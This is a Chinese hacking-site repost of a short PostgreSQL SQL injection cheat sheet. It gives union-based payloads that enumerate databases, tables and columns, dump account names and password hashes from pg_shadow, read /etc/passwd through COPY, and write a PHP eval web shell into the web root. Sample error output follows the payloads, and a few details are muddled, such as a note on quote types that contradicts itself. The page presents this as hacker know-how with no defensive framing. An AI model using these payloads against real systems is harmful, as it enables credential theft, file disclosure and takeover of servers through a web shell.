记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

Postgresql注入语法指南

2013-01-15 20:13

本文很抱歉没有实例,没有截图。
像我这个不善于Google的人来说,要找一个Postgresql的注入实例还是不太容易,所以,不解释。
只有枯燥的语句,和回显作为例子。
SQL软件中,不管是MSSQL,MySQL,Oracle还是Access或者是informix,firebird,db2,他们的SQL逻辑和语法都是万变不离其宗的。虽然这么说,但是不建议注入初学者来看本文。因为我不会把每个函数或者语法都解释一遍。
直接阅读本文,菜鸟肯定有难度,又没有实例,但是懂SQL手注的人阅读起来还是相当容易的。
在注入中常用的几个注入语法通常有这么几个:
--显示版本
--从已知表段字段爆数据
--列库
--列数据库中的表段
--列表段中的字段
--读取配置信息,例如数据库登陆账户和密码
--读写文件
那我就一个一个来讲这些Postgresql的语法是怎样的


--显示版本
select version();
union select 1,2,...n,version()
//version()函数与MySQL的是一样的
回显数据举例:
PostgreSQL 8.1.18 on i686-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-46)

--从已知表段字段爆数据
select aa from bb where cc=dd;
union select 1,2,....n,aa from bb where cc=dd
//所有的SQL语法几乎都是这样的语法来爆数据
无举例

--列库
select datname from pg_database;
union select 1,2,....,n,datname from pg_database;
回显举例:
postgres,prc,template1,template0

--列数据库中的表段
select relname from pg_stat_user_tables limit 1 offset n;
//类似于MySQL中的information_schema.tables,虽然不大恰当
union select relname from pg_stat_user_tables limit 1 offset 3;
//limit 1 offset 0和MySQL的limit 0,1一个效果。
无举例

--列表段中的字段
select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;
union select 1,2,.....,n,column_name from information_schema.columns where table_name=0x3a limit 1 offset 5
//同MySQL

--读取配置信息,例如数据库登陆账户和密码
select usename,passwd from pg_shadow;
union select 1,2,...n,usename,passwd from pg_shadow
//pg_shadow数据库类似于MySQL中的mysql数据库
root账户为postgres
回显举例:
postgres 9d2e7638fd7c7e433f0074a8f65cfd3a

--读取文件
copy test from '/etc /passwd'with delimiter E't';
(注:网上多数关于Postgresql的语句中是双引号,实际测试,8.x到9.x双引号无效,应该用双引号)
回显举例:
Query failed: ERROR: extra data after last expected column CONTEXT: COPY file, line 1: "root:x:0:0:root:/root:/bin/bash"

--写入文件
insert into test values ('<?php eval($_POST["cmd"];?>');
copy test(code) to ”/var/www/one.php”;
回显举例:
Query failed: ERROR: could not open file "/var/www/html/aaa.php" for writing: Permission denied
pg_file_read()不如MySQL中的load_file()那么好用
例如:
select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));
则回显:
Query failed: ERROR: function pg_file_length("unknown") does not exist HINT: No function matches the given name and argument types. You may need to add explicit type casts.

Postgresql我也不是特别熟,所以写到这里。

知识来源: www.8090sec.com/jiaobenshentou/111293.html

阅读:194257 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“Postgresql注入语法指南”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云